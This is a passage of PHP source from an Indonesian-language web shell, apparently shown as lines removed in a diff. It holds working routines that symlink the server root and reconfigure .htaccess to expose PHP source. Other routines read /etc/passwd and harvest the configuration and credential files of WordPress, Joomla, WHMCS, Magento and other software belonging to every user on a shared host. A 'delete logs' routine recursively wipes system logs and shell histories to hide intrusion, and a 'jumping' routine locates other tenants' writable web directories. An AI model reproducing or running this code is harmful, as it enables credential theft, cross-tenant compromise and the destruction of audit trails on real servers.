- $matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/berandal_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}fclose($file);
- echo "</table>";}else{if($os != "Windows"){@mkdir("berandal_sym",0777);@chdir("ManaKuTau_sym");@exe("ln -s / root");$file3 = '
- Options Indexes FollowSymLinks
- DirectoryIndex 69.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any
- ';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
- <table align=center border=1><tr>
- <td align=center><font size=3>ID</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $temp = "";$val1 = 0;$val2 = 1000;
- for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
- if ($uid)$temp .= join(':',$uid)."\n";}
- echo '<br/>';$temp = trim($temp);$file5 =
- fopen("test.txt","w");
- fputs($file5,$temp);
- fclose($file5);$dcount = 1;$file =
- fopen("test.txt", "r") or exit("Unable to open file!");
- while(!feof($file)){$s = fgets($file);$matches = array();
- $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/ManaKuTau_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}
- fclose($file);
- echo "</table></div></center>";unlink("test.txt");
- } else
- echo "<center><font size=3>Cannot create Symlink</font></center>";
- }
- }
- } elseif($_GET['config'] == 'grabber') {
- if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
- echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
- exit;
- }
- if($_POST){ if($_POST['config'] == 'symvhosts') {
- @mkdir("ManaKuTau_symvhosts", 0777);
- exe("ln -s / ManaKuTau_symvhosts/root");
- $htaccess="Options Indexes FollowSymLinks
- DirectoryIndex 69.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any";
- @file_put_contents("ManaKuTau_symvhosts/.htaccess",$htaccess);
- $etc_passwd=$_POST['passwd'];
- $etc_passwd=explode("\n",$etc_passwd);
- foreach($etc_passwd as $passwd){
- $pawd=explode(":",$passwd);
- $user =$pawd[5];
- $jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
- if (preg_match('/vhosts/i',$user)){
- exe("ln -s ".$user."/httpdocs/wp-config.php berandal_symvhosts/".$jembod."-Wordpress.txt");
- exe("ln -s ".$user."/httpdocs/configuration.php berandal_symvhosts/".$jembod."-Joomla.txt");
- exe("ln -s ".$user."/httpdocs/config/koneksi.php berandal_symvhosts/".$jembod."-Lokomedia.txt");
- exe("ln -s ".$user."/httpdocs/forum/config.php berandal_symvhosts/".$jembod."-phpBB.txt");
- exe("ln -s ".$user."/httpdocs/sites/default/settings.php berandal_symvhosts/".$jembod."-Drupal.txt");
- exe("ln -s ".$user."/httpdocs/config/settings.inc.php berandal_symvhosts/".$jembod."-PrestaShop.txt");
- exe("ln -s ".$user."/httpdocs/app/etc/local.xml berandal_symvhosts/".$jembod."-Magento.txt");
- exe("ln -s ".$user."/httpdocs/admin/config.php berandal_symvhosts/".$jembod."-OpenCart.txt");
- exe("ln -s ".$user."/httpdocs/application/config/database.php berandal_symvhosts/".$jembod."-Ellislab.txt");
- }}}
- if($_POST['config'] == 'symlink') {
- @mkdir("ManaKuTau_symconfig", 0777);
- @symlink("/","berandal_symconfig/root");
- $htaccess="Options Indexes FollowSymLinks
- DirectoryIndex 69.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any";
- @file_put_contents("ManaKuTau_symconfig/.htaccess",$htaccess);}
- if($_POST['config'] == '404') {
- @mkdir("ManaKuTau_sym404", 0777);
- @symlink("/","ManaKuTau_sym404/root");
- $htaccess="Options Indexes FollowSymLinks
- DirectoryIndex 69.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any
- IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
- IndexIgnore *.txt404
- RewriteEngine On
- RewriteCond %{REQUEST_FILENAME} ^.*berandal_sym404 [NC]
- RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
- @file_put_contents("ManaKuTau_sym404/.htaccess",$htaccess);
- }
- if($_POST['config'] == 'grab') {
- mkdir("ManaKuTau_config", 0777);
- $isi_htc = "Options all\nRequire None\nSatisfy Any";
- $htc = fopen("berandal_config/.htaccess","w");
- fwrite($htc, $isi_htc);
- }
- $passwd = $_POST['passwd'];
- preg_match_all('/(.*?):x:/', $passwd, $user_config);
- foreach($user_config[1] as $user_berandal) {
- $grab_config = array(
- "/home/$user_berandal/.accesshash" => "WHM-accesshash",
- "/home/$user_berandal/public_html/config/koneksi.php" => "Lokomedia",
- "/home/$user_berandal/public_html/forum/config.php" => "phpBB",
- "/home/$user_berandal/public_html/sites/default/settings.php" => "Drupal",
- "/home/$user_berandal/public_html/config/settings.inc.php" => "PrestaShop",
- "/home/$user_berandal/public_html/app/etc/local.xml" => "Magento",
- "/home/$user_berandal/public_html/admin/config.php" => "OpenCart",
- "/home/$user_berandal/public_html/application/config/database.php" => "Ellislab",
- "/home/$user_berandal/public_html/vb/includes/config.php" => "Vbulletin",
- "/home/$user_berandal/public_html/includes/config.php" => "Vbulletin",
- "/home/$user_berandal/public_html/forum/includes/config.php" => "Vbulletin",
- "/home/$user_berandal/public_html/forums/includes/config.php" => "Vbulletin",
- "/home/$user_berandal/public_html/cc/includes/config.php" => "Vbulletin",
- "/home/$user_berandal/public_html/inc/config.php" => "MyBB",
- "/home/$user_berandal/public_html/includes/configure.php" => "OsCommerce",
- "/home/$user_berandal/public_html/shop/includes/configure.php" => "OsCommerce",
- "/home/$user_berandal/public_html/os/includes/configure.php" => "OsCommerce",
- "/home/$user_berandal/public_html/oscom/includes/configure.php" => "OsCommerce",
- "/home/$user_berandal/public_html/products/includes/configure.php" => "OsCommerce",
- "/home/$user_berandal/public_html/cart/includes/configure.php" => "OsCommerce",
- "/home/$user_berandal/public_html/inc/conf_global.php" => "IPB",
- "/home/$user_berandal/public_html/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/wp/test/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/blog/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/beta/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/portal/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/site/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/wp/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/WP/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/news/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/wordpress/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/test/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/demo/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/home/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/v1/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/v2/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/press/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/new/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/blogs/wp-config.php" => "Wordpress",
- "/home/$user_berandal/public_html/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/blog/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/submitticket.php" => "^WHMCS",
- "/home/$user_berandal/public_html/cms/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/beta/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/portal/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/site/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/main/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/home/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/demo/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/test/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/v1/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/v2/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/joomla/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/new/configuration.php" => "Joomla",
- "/home/$user_berandal/public_html/WHMCS/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/whmcs1/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Whmcs/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/whmcs/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/whmcs/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/WHMC/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Whmc/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/whmc/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/WHM/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Whm/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/whm/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/HOST/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Host/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/host/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/SUPPORTES/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Supportes/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/supportes/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/domains/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/domain/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Hosting/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/HOSTING/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/hosting/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/CART/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Cart/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/cart/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/ORDER/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Order/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/order/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/CLIENT/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Client/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/client/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Clientarea/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/clientarea/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/SUPPORT/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Support/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/support/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/BILLING/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Billing/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/billing/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/BUY/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Buy/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/buy/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/MANAGE/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Manage/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/manage/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/ClientSupport/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Clientsupport/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/clientsupport/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/CHECKOUT/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Checkout/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/checkout/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/BILLINGS/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Billings/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/billings/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/BASKET/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Basket/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/basket/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/SECURE/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Secure/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/secure/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/SALES/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Sales/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/sales/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/BILL/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Bill/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/bill/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/PURCHASE/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Purchase/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/purchase/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/ACCOUNT/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Account/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/account/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/USER/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/User/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/user/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/CLIENTS/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Clients/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/clients/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/BILLINGS/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/Billings/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/billings/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/MY/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/My/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/my/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/secure/whm/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/secure/whmcs/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/panel/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/clientes/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/cliente/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/support/order/submitticket.php" => "WHMCS",
- "/home/$user_berandal/public_html/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/boxbilling/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/box/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/host/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/Host/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/supportes/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/support/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/hosting/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/cart/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/order/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/client/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/clients/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/cliente/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/clientes/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/billing/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/billings/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/my/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/secure/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/support/order/bb-config.php" => "BoxBilling",
- "/home/$user_berandal/public_html/includes/dist-configure.php" => "Zencart",
- "/home/$user_berandal/public_html/zencart/includes/dist-configure.php" => "Zencart",
- "/home/$user_berandal/public_html/products/includes/dist-configure.php" => "Zencart",
- "/home/$user_berandal/public_html/cart/includes/dist-configure.php" => "Zencart",
- "/home/$user_berandal/public_html/shop/includes/dist-configure.php" => "Zencart",
- "/home/$user_berandal/public_html/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/hostbills/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/host/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/Host/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/supportes/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/support/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/hosting/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/cart/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/order/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/client/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/clients/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/cliente/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/clientes/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/billing/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/billings/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/my/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/secure/includes/iso4217.php" => "Hostbills",
- "/home/$user_berandal/public_html/support/order/includes/iso4217.php" => "Hostbills"
- );
- foreach($grab_config as $config => $nama_config) {
- if($_POST['config'] == 'grab') {
- $ambil_config = file_get_contents($config);
- if($ambil_config == '') {
- } else {
- $file_config = fopen("berandal_config/$user_berandal-$nama_config.txt","w");
- fputs($file_config,$ambil_config);
- }
- }
- if($_POST['config'] == 'symlink') {
- @symlink($config,"berandal_Symconfig/".$user_berandal."-".$nama_config.".txt");
- }
- if($_POST['config'] == '404') {
- $sym404=symlink($config,"berandal_sym404/".$user_berandal."-".$nama_config.".txt");
- if($sym404){
- @mkdir("ManaKuTau_sym404/".$user_berandal."-".$nama_config.".txt404", 0777);
- $htaccess="Options Indexes FollowSymLinks
- DirectoryIndex 69.htm
- HeaderName ManaKuTau.txt
- Satisfy Any
- IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
- IndexIgnore *";
- @file_put_contents("ManaKuTau_sym404/".$user_berandal."-".$nama_config.".txt404/.htaccess",$htaccess);
- @symlink($config,"ManaKuTau_sym404/".$user_ManaKuTau."-".$nama_config.".txt404/ManaKuTau.txt");
- }
- }
- }
- } if($_POST['config'] == 'grab') {
- echo "<center><a href='?dir=$dir/berandal_config'><font color=cyan>Done</font></a></center>";
- }
- if($_POST['config'] == '404') {
- echo "<center>
- <a href=\"ManaKuTau_sym404/root/\">SymlinkNya</a>
- <br><a href=\"berandal_sym404/\">Configurations</a></center>";
- }
- if($_POST['config'] == 'symlink') {
- echo "<center>
- <a href=\"berandal_symconfig/root/\">Symlinknya</a>
- <br><a href=\"berandal_symconfig/\">Configurations</a></center>";
- }if($_POST['config'] == 'symvhost') {
- echo "<center>
- <a href=\"berandal_symvhost/root/\">Root Server</a>
- <br><a href=\"ManaKuTau_symvhost/\">Configurations</a></center>";
- }
- }else{
- echo "<form method=\"post\" action=\"\"><center>
- </center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
- echo include("/etc/passwd");
- echo "</textarea><br><br>
- <select class=\"select\" name=\"config\" style=\"width: 450px;\" height=\"10\">
- <option value=\"grab\">Config Grab</option>
- <option value=\"symlink\">Symlink Config</option>
- <option value=\"404\">Config 404</option>
- <option value=\"symvhosts\">Vhosts Config Grabber</option><br><br><input type=\"submit\" value=\"Start!!\"></td></tr></center>\n";
- }
- } elseif($_GET['delete'] == 'logs') {
- echo '<br><center><h2>Delete Logs ( For Safe )</h2><center><br>';
- echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'><br><hr color='white'>";
- exec("rm -rf /tmp/logs");
- exec("rm -rf /root/.ksh_history");
- exec("rm -rf /root/.bash_history");
- exec("rm -rf /root/.bash_logout");
- exec("rm -rf /usr/local/apache/logs");
- exec("rm -rf /usr/local/apache/log");
- exec("rm -rf /var/apache/logs");
- exec("rm -rf /var/apache/log");
- exec("rm -rf /var/run/utmp");
- exec("rm -rf /var/logs");
- exec("rm -rf /var/log");
- exec("rm -rf /var/adm");
- exec("rm -rf /etc/wtmp");
- exec("rm -rf /etc/utmp");
- exec("rm -rf $HISTFILE");
- exec("rm -rf /var/log/lastlog");
- exec("rm -rf /var/log/wtmp");
- shell_exec("rm -rf /tmp/logs");
- shell_exec("rm -rf /root/.ksh_history");
- shell_exec("rm -rf /root/.bash_history");
- shell_exec("rm -rf /root/.bash_logout");
- shell_exec("rm -rf /usr/local/apache/logs");
- shell_exec("rm -rf /usr/local/apache/log");
- shell_exec("rm -rf /var/apache/logs");
- shell_exec("rm -rf /var/apache/log");
- shell_exec("rm -rf /var/run/utmp");
- shell_exec("rm -rf /var/logs");
- shell_exec("rm -rf /var/log");
- shell_exec("rm -rf /var/adm");
- shell_exec("rm -rf /etc/wtmp");
- shell_exec("rm -rf /etc/utmp");
- shell_exec("rm -rf $HISTFILE");
- shell_exec("rm -rf /var/log/lastlog");
- shell_exec("rm -rf /var/log/wtmp");
- passthru("rm -rf /tmp/logs");
- passthru("rm -rf /root/.ksh_history");
- passthru("rm -rf /root/.bash_history");
- passthru("rm -rf /root/.bash_logout");
- passthru("rm -rf /usr/local/apache/logs");
- passthru("rm -rf /usr/local/apache/log");
- passthru("rm -rf /var/apache/logs");
- passthru("rm -rf /var/apache/log");
- passthru("rm -rf /var/run/utmp");
- passthru("rm -rf /var/logs");
- passthru("rm -rf /var/log");
- passthru("rm -rf /var/adm");
- passthru("rm -rf /etc/wtmp");
- passthru("rm -rf /etc/utmp");
- passthru("rm -rf $HISTFILE");
- passthru("rm -rf /var/log/lastlog");
- passthru("rm -rf /var/log/wtmp");
- system("rm -rf /tmp/logs");
- sleep(2);
- echo'<br>Deleting .../tmp/logs ';
- sleep(2);
- system("rm -rf /root/.bash_history");
- sleep(2);
- echo'<p>Deleting .../root/.bash_history </p>';
- system("rm -rf /root/.ksh_history");
- sleep(2);
- echo'<p>Deleting .../root/.ksh_history </p>';
- system("rm -rf /root/.bash_logout");
- sleep(2);
- echo'<p>Deleting .../root/.bash_logout </p>';
- system("rm -rf /usr/local/apache/logs");
- sleep(2);
- echo'<p>Deleting .../usr/local/apache/logs </p>';
- system("rm -rf /usr/local/apache/log");
- sleep(2);
- echo'<p>Deleting .../usr/local/apache/log </p>';
- system("rm -rf /var/apache/logs");
- sleep(2);
- echo'<p>Deleting .../var/apache/logs </p>';
- system("rm -rf /var/apache/log");
- sleep(2);
- echo'<p>Deleting .../var/apache/log </p>';
- system("rm -rf /var/run/utmp");
- sleep(2);
- echo'<p>Deleting .../var/run/utmp </p>';
- system("rm -rf /var/logs");
- sleep(2);
- echo'<p>Deleting .../var/logs </p>';
- system("rm -rf /var/log");
- sleep(2);
- echo'<p>Deleting .../var/log </p>';
- system("rm -rf /var/adm");
- sleep(2);
- echo'<p>Deleting .../var/adm </p>';
- system("rm -rf /etc/wtmp");
- sleep(2);
- echo'<p>Deleting .../etc/wtmp </p>';
- system("rm -rf /etc/utmp");
- sleep(2);
- echo'<p>Deleting .../etc/utmp </p>';
- system("rm -rf $HISTFILE");
- sleep(2);
- echo'<p>Deleting ...$HISTFILE </p>';
- system("rm -rf /var/log/lastlog");
- sleep(2);
- echo'<p>Deleting .../var/log/lastlog </p>';
- system("rm -rf /var/log/wtmp");
- sleep(2);
- echo'<p>Deleting .../var/log/wtmp </p>';
- sleep(4);
- echo '<hr color="white"><br><br><p>Your Traces Has Been Successfully Deleted ... From the Server';
- echo"</td></tr></table>";
- } elseif($_GET['do'] == 'jumping') {
- $i = 0;
- echo "<div class='margin: 5px auto;'>";
- if(preg_match("/hsphere/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace(array("http://","www."), "", strtolower($url));
- $etc = "/etc/passwd";
- $f = fopen($etc,"r");
- while($gets = fgets($f)) {
- $pecah = explode(":", $gets);
- $user = $pecah[0];
- $dir_user = "/hsphere/local/home/$user";
- if(is_dir($dir_user) === true) {
- $url_user = $dir_user."/".$url;
- if(is_readable($url_user)) {
- $i++;
- $jrw = "[<font color=cyan>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
- if(is_writable($url_user)) {
- $jrw = "[<font color=cyan>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
- while($getss = fgets($fp)) {
- echo $getss;
- }
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } elseif(preg_match("/vhosts|vhost/", $dir)) {
- preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace("www.", "", $url);
- $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
- if(is_dir($web_vh) === true) {
- if(is_readable($web_vh)) {
- $i++;
- $jrw = "[<font color=cyan>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
- if(is_writable($web_vh)) {
- $jrw = "[<font color=cyan>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- bing("ip:$ip");
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } else {
- echo "<pre>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_berandal_jump) {
- $user_jumping_dir = "/home/$user_berandal_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=cyan>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=cyan>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_berandal_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- }
- echo "</div>";
- } elseif($_GET['do'] == 'auto_edit_user') {
- if($_POST['hajar']) {
- if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
- echo "username atau password harus lebih dari 6 karakter";
- } else {
- $user_baru = $_POST['user_baru'];
